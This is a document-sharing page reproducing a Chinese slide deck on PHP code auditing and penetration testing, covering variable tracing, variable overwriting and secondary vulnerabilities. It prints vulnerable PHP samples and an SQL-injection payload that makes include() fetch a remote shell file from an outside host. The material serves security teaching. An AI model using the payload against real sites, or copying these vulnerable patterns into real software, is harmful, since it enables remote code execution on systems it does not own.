欢迎来到天天文库
浏览记录
ID:19544289
大小:2.23 MB
页数:39页
时间:2018-10-03
《web代码审计与渗透测试》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、WEB代码审计与渗透测试紫柒收集制作QQ:188159400WEB应用程序代码审计程序的两大根本:变量与函数漏洞现成的条件:A、可以控制的变量【一切输入都是有害的】B、变量到达有利用价值的函数[危险函数]【一切进入函数的变量是有害的】漏洞的利用效果取决于最终函数的功能变量进入什么样的函数就导致什么要的效果PHP应用程序代码审计为什么只是PHP?A、跨平台、应用广泛、复杂B、变量处理灵活[如变量覆盖、全局变量等]C、函数库巨大[导致漏洞类型多,既有通用的又有特有的]E、代码审计的思路是可以通用的变量预定义变量[常规外部提交的变量]GPC$_ENV/SERVER/SESSION$HTT
2、P_RAW_POST_DATA等register_globals=on[未初始化的变量]PHP»4.20默认为off变量覆盖[未初始化及覆盖前定义的变量]如:extract()、遍历初始化变量、parse_str()等变量的传递与存储[中转的变量]存储于数据库、文件[如配置、缓存文件等]危险函数文件包含包含漏洞代码执行执行任意代码漏洞命令执行执行任意命令漏洞文件系统操作文件(目录)读写等漏洞数据库操作SQL注射漏洞数据显示XSS等客服端漏洞……什么样的函数导致什么样的漏洞!更多的变量处理与危险函数《高级PHP应用程序漏洞审核技术》http://code.google.c
3、om/p/pasc2at/wiki/SimplifiedChinese代码审计的本质找漏洞==找对应变量与函数变量跟踪的过程通过变量找函数[正向跟踪变量]$id=$_GET[‘id’]$sid=$id…函数($sid)通过函数找变量[逆向跟踪变量]函数($sid)$sid=$id…$id=$_GET[‘id’]变量的传递与二次漏洞变量存储、提取、传递是一个复杂的立体的过程过程中经过多个不一样的函数的处理后继续传递,最终达到漏洞函数传递的过程中任意环节可控就可能导致漏洞中间函数处理的过程诞生新的变量,新的变量达到新的漏洞函数诞生新的漏洞[二次漏洞]二次漏洞什么是二次漏洞
4、?2006年提出的一个概念主导思想:通过一个现有漏洞,创造新的漏洞使得漏洞利用最大化一个demo一个典型的文件删除漏洞[注意:include与require的区别]二次漏洞又一个demo一个注射漏洞$sql="selectid,filepath,user,namefromattachmentwherefileid=$_GET[‘id’]”;$result=mysql_db_query($dbname,$sql);$file=mysql_fetch_array($result);然
5、而:include($file[‘filepath’]);一个貌似不可以直接控制的新变量$file[‘filepath’]进入了危险函数include()?id=1unionselect1,’http://www.80vul.com/shell.txt’,1,1当然我们没有那个注射漏洞,只要我们对数据库有控制权限一样可以通过update、insert控制$file[‘filepath’]。一个实例:phplist-2.10.4[oldver]远程包含漏洞//phplist-2.10.4public_htmllistsadminindex.phpif(!ini_get("r
6、egister_globals")
7、
8、ini_get("register_globals")=="off"){......//经典的变量覆盖漏洞模式foreach($_REQUESTas$key=>$val){$$key=$val;}}......//覆盖$_SERVER[“ConfigFile”],经过is_file()判断后进入include()if(isset($_SERVER["ConfigFile"])&&is_file($_SERVER["ConfigFile"])){print''."";
9、include$_SERVER["ConfigFile"];但是is_file()是不支持远程文件的,所以到目前代码只是一个本地包含漏洞\phplist-2.10.4public_htmllistsadmincommonlibpagesimportcsv.php......if(!isset($GLOBALS["assign_invalid_default"]))$GLOBALS["assign_invalid_default"]=$GLOBALS['I
此文档下载收益归作者所有